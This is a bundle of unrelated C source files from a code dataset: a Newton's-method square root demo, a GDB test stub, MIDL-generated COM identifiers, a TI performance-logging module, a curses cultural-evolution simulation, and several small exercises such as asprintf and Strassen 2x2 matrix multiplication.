//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // ____ ___ __ _ // / __// o |,'_/ .' \ // / _/ / _,'/ /_n / o / _ __ _ ___ _ _ __ // /_/ /_/ |__,'/_n_/ / \,' /.' \ ,' _/,' \ / |/ / // / \,' // o /_\ `./ o // || / // /_/ /_//_n_//___,'|_,'/_/|_/ // //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Author : Wesley Taylor-Rendal (WTR) // Design history : Review git logs. // Description : Calculating the Square Root of a Number // Concepts : Function calling another function. // : Parameter common names x does not create issues because of // : scope. // : When sqrt calls absVal, the structure is known because it // : was declare before. We primed(inform) the compiler on // : what to expect. //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #include <stdio.h> float absVal (float x) { if (x < 0) x = -x; return x; } // Newton Raphsom Method // 1. set guess = 1 // 2. if abs x^2 -x is less than epsi then quit // 3. set guess to x / guess+guess and loop back to 2. // 4. you got aprx float sqrt (float x) { const float epsilon = 0.00001; float guess = 1.0; while (absVal(guess*guess - x) >= epsilon) guess = (x / guess + guess) / 2.0; return guess; } int main (void) { printf("Square root of (2.0) = %f\n", sqrt(2.0)); printf("Square root of (144.0) = %f\n", sqrt(144.0)); printf("Square root of (17.5) = %f\n", sqrt(17.5)); printf("Square root of (-17.5) = %f\n", sqrt(-17.5)); return 0; }
the_stack_data/92324136.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2011-2015 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <unistd.h> int main (void) { return sleep (600); }
the_stack_data/190769508.c
/* this file contains the actual definitions of */ /* the IIDs and CLSIDs */ /* link this file in with the server and any clients */ /* File created by MIDL compiler version 5.01.0158 */ /* at Wed Jan 27 09:33:39 1999 */ /* Compiler settings for comrepl.idl: Oicf (OptLev=i2), W1, Zp8, env=Win32, ms_ext, c_ext error checks: allocation ref bounds_check enum stub_data */ //@@MIDL_FILE_HEADING( ) #ifdef __cplusplus extern "C"{ #endif #ifndef __IID_DEFINED__ #define __IID_DEFINED__ typedef struct _IID { unsigned long x; unsigned short s1; unsigned short s2; unsigned char c[8]; } IID; #endif // __IID_DEFINED__ #ifndef CLSID_DEFINED #define CLSID_DEFINED typedef IID CLSID; #endif // CLSID_DEFINED const IID IID_ICOMReplicateCatalog = {0x98315904,0x7BE5,0x11d2,{0xAD,0xC1,0x00,0xA0,0x24,0x63,0xD6,0xE7}}; const IID IID_ICOMReplicate = {0x52F25063,0xA5F1,0x11d2,{0xAE,0x04,0x00,0xA0,0x24,0x63,0xD6,0xE7}}; const IID LIBID_COMReplLib = {0x98315905,0x7BE5,0x11d2,{0xAD,0xC1,0x00,0xA0,0x24,0x63,0xD6,0xE7}}; const CLSID CLSID_ReplicateCatalog = {0x8C836AF9,0xFFAC,0x11D0,{0x8E,0xD4,0x00,0xC0,0x4F,0xC2,0xC1,0x7B}}; #ifdef __cplusplus } #endif
the_stack_data/100140154.c
/* * Copyright (C) Texas Instruments - http://www.ti.com/ * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef __PERF_CUSTOMIZABLE__ #define __PERF_PRINT_C__ #include "perf_config.h" #include "perf.h" #include "perf_print.h" /* ============================================================================ DEBUG PRINT METHODS ============================================================================ */ void PERF_PRINT_done(PERF_Private *perf) { PERF_PRINT_Private *me = perf->cip.pDebug; /* close debug file unless stdout or stderr */ if (me->fDebug && me->fDebug != stdout && me->fDebug != stderr) fclose(me->fDebug); /* free allocated strings */ free(me->info); me->info = NULL; /* free private structure */ free(me); perf->cip.pDebug = NULL; } char * const domains_normal[] = { "AD,", "VD,", "ID,", "AE,", "VE,", "IE,"}; char * const domains_csv[] = { "+AD", "+VD", "+ID", "+AE", "+VE", "+IE"}; static void print_header(FILE *fOut) { fprintf(fOut, "time,PID,handle,name,domAD,domVD,domID,domAE,domVE,domIE," "type,operation\n"); } int PERF_PRINT_setup(PERF_Private *perf, PERF_MODULETYPE eModule) { PERF_PRINT_Private *me = perf->cip.pDebug; /* we concatenate the following fields for a unique and informative ID: PID, address, domain, type */ /* common variables that differ from CSV and text output */ char const * const * domains, *missing, *separator; /* data needed for info field */ unsigned long type = eModule & PERF_ModuleMask; /* set up common variables */ if (me->csv) { domains = (char const * const *) domains_normal; missing = separator = ","; me->prompt = ""; print_header(me->fDebug); } else { domains = (char const * const *) domains_csv; missing = ""; separator = ", "; me->prompt = "<"; } me->info = (char *) malloc(3+9+1+8+2+6+4+2+7+12+8+16+2 + 100); if (me->info) { sprintf(me->info, "%s" /* info separator start */ "%ld" /* PID */ "%s" /* separator */ "%08lx" /* handle */ "%s" /* separator */ "%s" /* name tag */ "%c%c%c%c" /* name (fourcc) */ "%s" /* separator */ "%s" /* domain tag */ "%s%s%s%s%s%s" /* domain */ "%s" /* module tag */ "%s" /* module */ "%s" /* info separator end */ , me->csv ? separator : "> {", perf->ulPID, me->csv ? separator : "-", (unsigned long) perf, separator, /* name tag */ me->csv ? "" : "name: ", /* name (fourcc) */ PERF_FOUR_CHARS(perf->ulID), separator, /* domain tag */ me->csv ? "" : "domain: ", /* domain */ (eModule & PERF_ModuleAudioDecode) ? domains[0] : missing, (eModule & PERF_ModuleVideoDecode) ? domains[1] : missing, (eModule & PERF_ModuleImageDecode) ? domains[2] : missing, (eModule & PERF_ModuleAudioEncode) ? domains[3] : missing, (eModule & PERF_ModuleVideoEncode) ? domains[4] : missing, (eModule & PERF_ModuleImageEncode) ? domains[5] : missing, /* module tag */ me->csv ? "" : ", module: ", /* note: separator added for CSV */ /* module */ (type < PERF_ModuleMax) ? PERF_ModuleTypes[type] : "INVALID", /* info separator end */ me->csv ? separator : "} "); } /* we succeed if we could allocate the info string */ return(me->info != NULL); } #ifdef __PERF_LOG_LOCATION__ void __print_Location(PERF_Private *perf, char const *szFile, unsigned long ulLine, char const *szFunc) { /* save location for printing */ PERF_PRINT_Private *me = perf->cip.pDebug; me->szFile = szFile; me->szFunc = szFunc; me->ulLine = ulLine; } void clear_print_location(PERF_Private *perf) { PERF_PRINT_Private *me = perf->cip.pDebug; /* clear location information */ me->szFile = me->szFunc = NULL; me->ulLine = 0; } void print_print_location(PERF_Private *perf, FILE *fOut, int nValues) { PERF_PRINT_Private *me = perf->cip.pDebug; /* print location information if specified */ if (me->szFile && me->szFunc) { /* align filenames for CSV format */ if (me->csv) { while (nValues < 7) { fprintf(fOut, ","); nValues++; } } fprintf(fOut, "%s%s%s%lu%s%s%s\n", me->csv ? "," : " in ", me->szFile, me->csv ? "," : ":line ", me->ulLine, me->csv ? "," : ":", me->szFunc, me->csv ? "" : "()"); /* clear print location */ clear_print_location(perf); } else { /* if no info is specified, we still need to print the new line */ fprintf(fOut, "\n"); } } #define __LINE_END__ "" #else #define __LINE_END__ "\n" #define print_print_location(perf, fOut, nValues) #endif PERF_PRINT_Private * PERF_PRINT_create(PERF_Private *perf, PERF_Config *config, PERF_MODULETYPE eModule) { char *fOutFile = NULL; FILE *fOut = NULL; PERF_PRINT_Private *me = perf->cip.pDebug = malloc(sizeof(PERF_PRINT_Private)); if (me) { me->csv = config->csv; me->fDebug = me->fPrint = NULL; me->info = me->prompt = NULL; perf->uMode |= PERF_Mode_Print; #ifdef __PERF_LOG_LOCATION__ /* no location information yet */ clear_print_location(perf); #endif /* set up fDebug and fPrint file pointers */ if (config->log_file) { /* open log file unless STDOUT or STDERR is specified */ if (!strcasecmp(config->log_file, "STDOUT")) fOut = stdout; else if (!strcasecmp(config->log_file, "STDERR")) fOut = stderr; else { /* expand file name with PID and name */ fOutFile = (char *) malloc (strlen(config->log_file) + 32); if (fOutFile) { sprintf(fOutFile, "%s-%05lu-%08lx-%c%c%c%c.log", config->log_file, perf->ulPID, (unsigned long) perf, PERF_FOUR_CHARS(perf->ulID)); fOut = fopen(fOutFile, "at"); /* free new file name */ free(fOutFile); fOutFile = NULL; } /* if could not open output, set it to STDOUT */ if (!fOut) fOut = stdout; } me->fDebug = me->fPrint = fOut; } else if (config->detailed_debug) { /* detailed debug is through stderr */ me->fDebug = me->fPrint = stderr; } else if (config->debug) { /* normal debug is through stdout (buffers are not printed) */ me->fDebug = stdout; me->fPrint = NULL; } PERF_PRINT_setup(perf, eModule); if (me->fDebug) __print_Create(me->fDebug, perf); } return(me); } void __print_Boundary(FILE *fOut, PERF_Private *perf, PERF_BOUNDARYTYPE eBoundary) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; unsigned long boundary = ((unsigned long) eBoundary) & PERF_BoundaryMask; fprintf(fOut, "%s%ld.%06ld%sBoundary%s0x%x%s%s%s%s" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info, me->csv ? "," : "(", eBoundary, me->csv ? "," : " = ", PERF_IsStarted(eBoundary) ? "started " : "completed ", (boundary < PERF_BoundaryMax ? PERF_BoundaryTypes[boundary] : "INVALID"), me->csv ? "" : ")"); print_print_location(perf, fOut, 2); } static const char *sendRecvTxt[] = { "received", "sending", "requesting", "sent", }; void __print_Buffer(FILE *fOut, PERF_Private *perf, unsigned long ulAddress1, unsigned long ulAddress2, unsigned long ulSize, PERF_MODULETYPE eModule) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; unsigned long module1 = ((unsigned long) eModule) & PERF_ModuleMask; unsigned long module2 = (((unsigned long) eModule) >> PERF_ModuleBits) & PERF_ModuleMask; int xfering = PERF_IsXfering ((unsigned long) eModule); int sendIx = (PERF_GetSendRecv ((unsigned long) eModule) >> 28) & 3; int sending = PERF_IsSending ((unsigned long) eModule); int frame = PERF_IsFrame ((unsigned long) eModule); int multiple = PERF_IsMultiple((unsigned long) eModule); if (!xfering && sending) module2 = module1; fprintf(fOut, "%s%ld.%06ld%sBuffer%s%s%s%s%s%s%s%s%s0x%lx%s0x%lx", me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info, me->csv ? "," : "(", xfering ? "xfering" : sendRecvTxt[sendIx], me->csv ? "," : " ", frame ? "frame" : "buffer", me->csv ? "," : (xfering || !sending) ? " from=" : "", (xfering || !sending) ? (module1 < PERF_ModuleMax ? PERF_ModuleTypes[module1] : "INVALID") : "", me->csv ? "," : (xfering || sending) ? " to=" : "", (xfering || sending) ? (module2 < PERF_ModuleMax ? PERF_ModuleTypes[module2] : "INVALID") : "", me->csv ? "," : " size=", ulSize, me->csv ? "," : " addr=", ulAddress1); /* print second address if supplied */ if (multiple) { fprintf(fOut, "%s0x%lx", me->csv ? "," : " addr=", ulAddress2); } fprintf(fOut, "%s" __LINE_END__, me->csv ? "" : ")"); print_print_location(perf, fOut, 6 + (multiple ? 1 : 0)); } void __print_Command(FILE *fOut, PERF_Private *perf, unsigned long ulCommand, unsigned long ulArgument, PERF_MODULETYPE eModule) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; unsigned long module = ((unsigned long) eModule) & PERF_ModuleMask; int sendIx = (PERF_GetSendRecv ((unsigned long) eModule) >> 28) & 3; int sending = PERF_IsSending(((unsigned long) eModule) & ~PERF_ModuleMask); fprintf(fOut, "%s%ld.%06ld%sCommand%s%s%s%s%s0x%lx%s0x%lx%s%s%s" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info, me->csv ? "," : "(", sendRecvTxt[sendIx], me->csv ? "," : sending ? " to=" : " from=", module < PERF_ModuleMax ? PERF_ModuleTypes[module] : "INVALID", me->csv ? "," : " cmd=", ulCommand, me->csv ? "," : "(", ulArgument, me->csv ? "," : ") = ", (ulCommand != PERF_CommandStatus ? "INVALID" : PERF_CommandTypes[ulCommand]), me->csv ? "" : ")"); print_print_location(perf, fOut, 5); } void __print_Create(FILE *fOut, PERF_Private *perf) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; fprintf(fOut, "%s%ld.%06ld%sCreate" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info); print_print_location(perf, fOut, 0); } void __print_Done(FILE *fOut, PERF_Private *perf) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; fprintf(fOut, "%s%ld.%06ld%sDone" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info); print_print_location(perf, fOut, 0); } void __print_Log(FILE *fOut, PERF_Private *perf, unsigned long ulData1, unsigned long ulData2, unsigned long ulData3) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; fprintf(fOut, "%s%ld.%06ld%sLog%s0x%lx%s0x%lx%s0x%lx%s" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info, me->csv ? "," : "(", ulData1, me->csv ? "," : ", ", ulData2, me->csv ? "," : ", ", ulData3, me->csv ? "" : ")"); print_print_location(perf, fOut, 3); } void __print_SyncAV(FILE *fOut, PERF_Private *perf, float pfTimeAudio, float pfTimeVideo, PERF_SYNCOPTYPE eSyncOperation) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; unsigned long op = (unsigned long) eSyncOperation; fprintf(fOut, "%s%ld.%06ld%sSyncAV%s%g%s%g%s%s%s" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info, me->csv ? "," : "(audioTS=", pfTimeAudio, me->csv ? "," : " videoTS=", pfTimeVideo, me->csv ? "," : " op=", (op < PERF_SyncOpMax ? PERF_SyncOpTypes[op] : "INVALID"), me->csv ? "" : ")"); print_print_location(perf, fOut, 3); } void __print_ThreadCreated(FILE *fOut, PERF_Private *perf, unsigned long ulThreadID, unsigned long ulThreadName) { /* get debug private structure */ PERF_PRINT_Private *me = perf->cip.pDebug; fprintf(fOut, "%s%ld.%06ld%sThread%s%ld%s%c%c%c%c%s" __LINE_END__, me->prompt, TIME_SECONDS(perf->time), TIME_MICROSECONDS(perf->time), me->info, me->csv ? "," : "(pid=", ulThreadID, me->csv ? "," : " name=", PERF_FOUR_CHARS(ulThreadName), me->csv ? "" : ")"); print_print_location(perf, fOut, 2); } #endif
the_stack_data/95450010.c
/* teoc.c - the evolution of culture - created 2007 by inhaesio zha */ /* gcc -ansi -O3 -lcurses -o teoc teoc.c */ #include <curses.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define GENE_INDEX_DISPLAY 0 #define GENE_INDEX_MEET 1 #define GENE_INDEX_MOVE 2 #define GENE_INDEX_PERSONALITY 3 #define MEET_STYLE_PUSH 0 #define MEET_STYLE_PULL 1 #define MEET_STYLE_EXCHANGE 2 #define CURSES_SOLID_COLORS 0 #define CURSES_VISUALIZATION 1 #define GENOME_LENGTH 256 /* 2^GENOME_ADDRESS_SIZE==GENOME_LENGTH */ #define GENOME_ADDRESS_SIZE 8 #define ITERATIONS 128 * 1000000 #define MEET_STYLE MEET_STYLE_PUSH #define MUTATION 0 #define MUTATION_INCIDENCE_PER 100000 #define RANDOM_SEED 185379 + 14 #define SLEEP_US 100000 #define SWAP_POSITIONS_AFTER_MEET 1 #define WORLD_WIDTH 80 #define WORLD_HEIGHT 25 #define ORGANISM_COUNT (WORLD_WIDTH * WORLD_HEIGHT) / 2 struct display_gene_t { unsigned int red; unsigned int green; unsigned int blue; }; typedef struct display_gene_t display_gene_t; struct meet_gene_t { unsigned int address; unsigned int length; }; typedef struct meet_gene_t meet_gene_t; struct move_gene_t { int offset_x; int offset_y; }; typedef struct move_gene_t move_gene_t; struct personality_gene_t { unsigned int extrovert; }; typedef struct personality_gene_t personality_gene_t; struct position_t { unsigned int x; unsigned int y; }; typedef struct position_t position_t; struct organism_t { unsigned int *genome; position_t position; char face; }; typedef struct organism_t organism_t; struct world_t { organism_t *cells[WORLD_WIDTH][WORLD_HEIGHT]; }; typedef struct world_t world_t; void create_organism(world_t *world, organism_t *organism); void create_world(world_t *world); void destroy_organism(world_t *world, organism_t *organism); char display_color(organism_t *organism); void find_empty_position(world_t *world, position_t *position); unsigned int gene_at_virtual_index(organism_t *organism, unsigned int virtual_index); unsigned int gene_start_address(organism_t *organism, unsigned int gene_index); void meet_organism(world_t *world, organism_t *organism_a, organism_t *organism_b); void move_organism(world_t *world, organism_t *organism); void parse_display_gene(organism_t *organism, unsigned int gene_start_address, display_gene_t *display_gene); void parse_meet_gene(organism_t *organism, unsigned int gene_start_address, meet_gene_t *meet_gene); void parse_move_gene(organism_t *organism, unsigned int gene_start_address, move_gene_t *move_gene); void parse_move_gene_2(organism_t *organism, unsigned int gene_start_address, move_gene_t *move_gene); void parse_personality_gene(organism_t *organism, unsigned int gene_start_address, personality_gene_t *personality_gene); unsigned int random_unsigned_int(unsigned int range); unsigned int unsigned_int_from_genome(organism_t *organism, unsigned int gene_start_address, unsigned int gene_length); unsigned int wrapped_index(int virtual_index, unsigned int range); void create_organism(world_t *world, organism_t *organism) { position_t position; unsigned int gene; organism->genome = malloc(sizeof(unsigned int) * GENOME_LENGTH); for (gene = 0; gene < GENOME_LENGTH; gene++) { organism->genome[gene] = random_unsigned_int(2); } find_empty_position(world, &position); world->cells[position.x][position.y] = organism; organism->position = position; organism->face = (rand() % 6) + 42; } void create_world(world_t *world) { unsigned int x; unsigned int y; for (x = 0; x < WORLD_WIDTH; x++) { for (y = 0; y < WORLD_HEIGHT; y++) { world->cells[x][y] = NULL; } } } void destroy_organism(world_t *world, organism_t *organism) { world->cells[organism->position.x][organism->position.y] = NULL; free(organism->genome); } char display_color(organism_t *organism) { unsigned int display_gene_start_address; display_gene_t display_gene; char c; display_gene_start_address = gene_start_address(organism, GENE_INDEX_DISPLAY); parse_display_gene(organism, display_gene_start_address, &display_gene); if ((display_gene.red > display_gene.blue) && (display_gene.red > display_gene.green)) { c = 'r'; } else if ((display_gene.green > display_gene.red) && (display_gene.green > display_gene.blue)) { c = 'g'; } else if ((display_gene.blue > display_gene.green) && (display_gene.blue > display_gene.red)) { c = 'b'; } else { c = 'w'; } return c; } void find_empty_position(world_t *world, position_t *position) { unsigned int x; unsigned int y; do { x = random_unsigned_int(WORLD_WIDTH); y = random_unsigned_int(WORLD_HEIGHT); } while (NULL != world->cells[x][y]); position->x = x; position->y = y; } unsigned int gene_at_virtual_index(organism_t *organism, unsigned int virtual_index) { unsigned int actual_index; actual_index = wrapped_index(virtual_index, GENOME_LENGTH); return organism->genome[actual_index]; } unsigned int gene_start_address(organism_t *organism, unsigned int gene_index) { unsigned int address_of_gene_header; unsigned int start_address = 0; unsigned int each_part_of_address; unsigned int each_part_of_address_value = 1; address_of_gene_header = GENOME_ADDRESS_SIZE * gene_index; start_address = unsigned_int_from_genome(organism, address_of_gene_header, GENOME_ADDRESS_SIZE); return start_address; } void meet_organism(world_t *world, organism_t *organism_a, organism_t *organism_b) { meet_gene_t meet_gene; unsigned int meet_gene_start_address; unsigned int each_gene; unsigned int each_gene_virtual; unsigned int temp_gene; position_t temp_position; meet_gene_start_address = gene_start_address(organism_a, GENE_INDEX_MEET); parse_meet_gene(organism_a, meet_gene_start_address, &meet_gene); for (each_gene = 0; each_gene < meet_gene.length; each_gene++) { each_gene_virtual = wrapped_index(each_gene, GENOME_LENGTH); #if MEET_STYLE==MEET_STYLE_PUSH organism_b->genome[each_gene_virtual] = organism_a->genome[each_gene_virtual]; if (MUTATION) { if (0 == random_unsigned_int(MUTATION_INCIDENCE_PER)) { organism_b->genome[each_gene_virtual] = random_unsigned_int(2); } } #endif #if MEET_STYLE==MEET_STYLE_PULL organism_a->genome[each_gene_virtual] = organism_b->genome[each_gene_virtual]; if (MUTATION) { if (0 == random_unsigned_int(MUTATION_INCIDENCE_PER)) { organism_a->genome[each_gene_virtual] = random_unsigned_int(2); } } #endif #if MEET_STYLE==MEET_STYLE_EXCHANGE temp_gene = organism_a->genome[each_gene_virtual]; organism_a->genome[each_gene_virtual] = organism_b->genome[each_gene_virtual]; organism_b->genome[each_gene_virtual] = temp_gene; if (MUTATION) { if (0 == random_unsigned_int(MUTATION_INCIDENCE_PER)) { organism_a->genome[each_gene_virtual] = random_unsigned_int(2); organism_b->genome[each_gene_virtual] = random_unsigned_int(2); } } #endif } #if SWAP_POSITIONS_AFTER_MEET world->cells[organism_b->position.x][organism_b->position.y] = organism_a; world->cells[organism_a->position.x][organism_a->position.y] = organism_b; temp_position.x = organism_a->position.x; temp_position.y = organism_a->position.y; organism_a->position.x = organism_b->position.x; organism_a->position.y = organism_b->position.y; organism_b->position.x = temp_position.x; organism_b->position.y = temp_position.y; #endif } void move_organism(world_t *world, organism_t *organism) { move_gene_t move_gene; personality_gene_t personality_gene; unsigned int move_gene_start_address; unsigned int personality_gene_start_address; unsigned int current_x; unsigned int current_y; unsigned int target_x; unsigned int target_y; move_gene_start_address = gene_start_address(organism, GENE_INDEX_MOVE); parse_move_gene(organism, move_gene_start_address, &move_gene); personality_gene_start_address = gene_start_address(organism, GENE_INDEX_PERSONALITY); parse_personality_gene(organism, personality_gene_start_address, &personality_gene); current_x = organism->position.x; current_y = organism->position.y; target_x = wrapped_index(current_x + move_gene.offset_x, WORLD_WIDTH); target_y = wrapped_index(current_y + move_gene.offset_y, WORLD_HEIGHT); if (NULL == world->cells[target_x][target_y]) { world->cells[target_x][target_y] = organism; world->cells[current_x][current_y] = NULL; organism->position.x = target_x; organism->position.y = target_y; } else { if (personality_gene.extrovert) { meet_organism(world, organism, world->cells[target_x][target_y]); } else { target_x = wrapped_index(current_x + (-1 * move_gene.offset_x), WORLD_WIDTH); target_y = wrapped_index(current_y + (-1 * move_gene.offset_y), WORLD_HEIGHT); if (NULL == world->cells[target_x][target_y]) { world->cells[target_x][target_y] = organism; world->cells[current_x][current_y] = NULL; organism->position.x = target_x; organism->position.y = target_y; } } } } void parse_display_gene(organism_t *organism, unsigned int gene_start_address, display_gene_t *display_gene) { display_gene->red = unsigned_int_from_genome (organism, gene_start_address + 0, 8); display_gene->green = unsigned_int_from_genome (organism, gene_start_address + 8, 8); display_gene->blue = unsigned_int_from_genome (organism, gene_start_address + 16, 8); } void parse_meet_gene(organism_t *organism, unsigned int gene_start_address, meet_gene_t *meet_gene) { meet_gene->address = unsigned_int_from_genome (organism, gene_start_address + 0, 8); meet_gene->length = unsigned_int_from_genome (organism, gene_start_address + 8, 8); } void parse_move_gene(organism_t *organism, unsigned int gene_start_address, move_gene_t *move_gene) { int offset_x; int offset_y; unsigned int is_negative_x; unsigned int is_negative_y; offset_x = unsigned_int_from_genome(organism, gene_start_address + 0, 1); is_negative_x = unsigned_int_from_genome (organism, gene_start_address + 1, 1); offset_y = unsigned_int_from_genome(organism, gene_start_address + 2, 1); is_negative_y = unsigned_int_from_genome (organism, gene_start_address + 3, 1); if (is_negative_x) { offset_x *= -1; } if (is_negative_y) { offset_y *= -1; } move_gene->offset_x = offset_x; move_gene->offset_y = offset_y; } void parse_personality_gene(organism_t *organism, unsigned int gene_start_address, personality_gene_t *personality_gene) { personality_gene->extrovert = unsigned_int_from_genome (organism, gene_start_address + 0, 1); } unsigned int random_unsigned_int(unsigned int range) { return random() % range; } unsigned int unsigned_int_from_genome(organism_t *organism, unsigned int gene_start_address, unsigned int gene_length) { unsigned int each_part_of_address; unsigned int each_part_of_address_value = 1; unsigned int r = 0; unsigned int gene_end_address; gene_end_address = gene_start_address + gene_length; for (each_part_of_address = gene_start_address; each_part_of_address < gene_end_address; each_part_of_address++) { r += each_part_of_address_value * gene_at_virtual_index(organism, each_part_of_address); each_part_of_address_value *= 2; } return r; } unsigned int wrapped_index(int virtual_index, unsigned int range) { unsigned int wrapped_index; if (virtual_index >= (int) range) { wrapped_index = virtual_index - range; } else if (virtual_index < 0) { wrapped_index = range + virtual_index; } else { wrapped_index = virtual_index; } return wrapped_index; } int main(int argc, char *argv[]) { world_t world; unsigned int each_iteration; unsigned int each_organism; unsigned int x; unsigned int y; char c; char color; organism_t organisms[ORGANISM_COUNT]; srandom(RANDOM_SEED); #if CURSES_VISUALIZATION initscr(); start_color(); #if CURSES_SOLID_COLORS init_pair(1, COLOR_BLACK, COLOR_RED); init_pair(2, COLOR_BLACK, COLOR_GREEN); init_pair(3, COLOR_BLACK, COLOR_BLUE); init_pair(4, COLOR_BLACK, COLOR_WHITE); init_pair(5, COLOR_BLACK, COLOR_BLACK); #else init_pair(1, COLOR_RED, COLOR_BLACK); init_pair(2, COLOR_GREEN, COLOR_BLACK); init_pair(3, COLOR_BLUE, COLOR_BLACK); init_pair(4, COLOR_WHITE, COLOR_BLACK); init_pair(5, COLOR_BLACK, COLOR_BLACK); #endif #endif create_world(&world); for (each_organism = 0; each_organism < ORGANISM_COUNT; each_organism++) { create_organism(&world, &organisms[each_organism]); } for (each_iteration = 0; each_iteration < ITERATIONS; each_iteration++) { for (each_organism = 0; each_organism < ORGANISM_COUNT; each_organism++) { move_organism(&world, &organisms[each_organism]); } #if CURSES_VISUALIZATION for (x = 0; x < WORLD_WIDTH; x++) { for (y = 0; y < WORLD_HEIGHT; y++) { if (NULL == world.cells[x][y]) { color = 'x'; c = ' '; } else { color = display_color(world.cells[x][y]); c = world.cells[x][y]->face; } switch (color) { case 'r': mvaddch(y, x, c | COLOR_PAIR(1)); break; case 'g': mvaddch(y, x, c | COLOR_PAIR(2)); break; case 'b': mvaddch(y, x, c | COLOR_PAIR(3)); break; case 'w': mvaddch(y, x, c | COLOR_PAIR(4)); break; default: mvaddch(y, x, c | COLOR_PAIR(5)); break; } } } refresh(); usleep(SLEEP_US); #endif } for (each_organism = 0; each_organism < ORGANISM_COUNT; each_organism++) { destroy_organism(&world, &organisms[each_organism]); } #if CURSES_VISUALIZATION endwin(); #endif return 0; }
the_stack_data/139018.c
#include <stdio.h> int f(int x, int K, const int *a) { int i, n = 0; for (i = 0; i < K; i++) { n += a[i]/x; } return n; } int main() { int N, K; int i, j; static int a[50000]; int lo, hi; int c; scanf("%d %d", &N, &K); for (i = 0; i < K; i++) { scanf("%d", &a[i]); } lo = 1; hi = N; while (lo+1 < hi) { const int mid = (lo + hi)/2; const int x = f(mid, K, a); if (x >= N) { lo = mid; } else { hi = mid; } } if (f(hi, K, a) >= N) { lo = hi; } printf("%d\n", lo); c = 0; for (i = 0; i < K && c < N; i++) { for (j = 0; j < a[i]/lo && c < N; j++, c++) { printf("%d\n", i+1); } } return 0; }
the_stack_data/636713.c
/* * asprintf.c */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> int asprintf(char **bufp, const char *format, ...) { va_list ap, ap1; int rv; int bytes; char *p; va_start(ap, format); va_copy(ap1, ap); bytes = vsnprintf(NULL, 0, format, ap1) + 1; va_end(ap1); *bufp = p = malloc(bytes); if (p) { rv = vsnprintf(p, bytes, format, ap); } else { rv = -1; } va_end(ap); return rv; }
the_stack_data/17167.c
#include<stdio.h> int main(){ int a[2][2],b[2][2],c[2][2],i,j; int m1,m2,m3,m4,m5,m6,m7; printf("Enter the 4 elements of first matrix: "); for(i=0;i<2;i++) for(j=0;j<2;j++) scanf("%d",&a[i][j]); printf("Enter the 4 elements of second matrix: "); for(i=0;i<2;i++) for(j=0;j<2;j++) scanf("%d",&b[i][j]); printf("\nThe first matrix is\n"); for(i=0;i<2;i++){ printf("\n"); for(j=0;j<2;j++) printf("%d\t",a[i][j]); } printf("\nThe second matrix is\n"); for(i=0;i<2;i++){ printf("\n"); for(j=0;j<2;j++) printf("%d\t",b[i][j]); } m1= (a[0][0] + a[1][1])*(b[0][0]+b[1][1]); m2= (a[1][0]+a[1][1])*b[0][0]; m3= a[0][0]*(b[0][1]-b[1][1]); m4= a[1][1]*(b[1][0]-b[0][0]); m5= (a[0][0]+a[0][1])*b[1][1]; m6= (a[1][0]-a[0][0])*(b[0][0]+b[0][1]); m7= (a[0][1]-a[1][1])*(b[1][0]+b[1][1]); c[0][0]=m1+m4-m5+m7; c[0][1]=m3+m5; c[1][0]=m2+m4; c[1][1]=m1-m2+m3+m6; printf("\nAfter multiplication using \n"); for(i=0;i<2;i++){ printf("\n"); for(j=0;j<2;j++) printf("%d\t",c[i][j]); } return 0; }
the_stack_data/138390.c
#include<stdio.h> #include<stdlib.h> int main(){ // unsigned int a = 1; // int const *p = &a; // const int b = 10; // a <<= 31; // a -= 1; // printf("%d",a); // printf("\n%d",*p); // b += 31; // p = &b; // printf("\n%d",b); // printf("\n%d",*p); //char s[ ] = "Man"; static int i = 5; printf("%d",i--); if(i) main(); return 0; }
the_stack_data/95451398.c
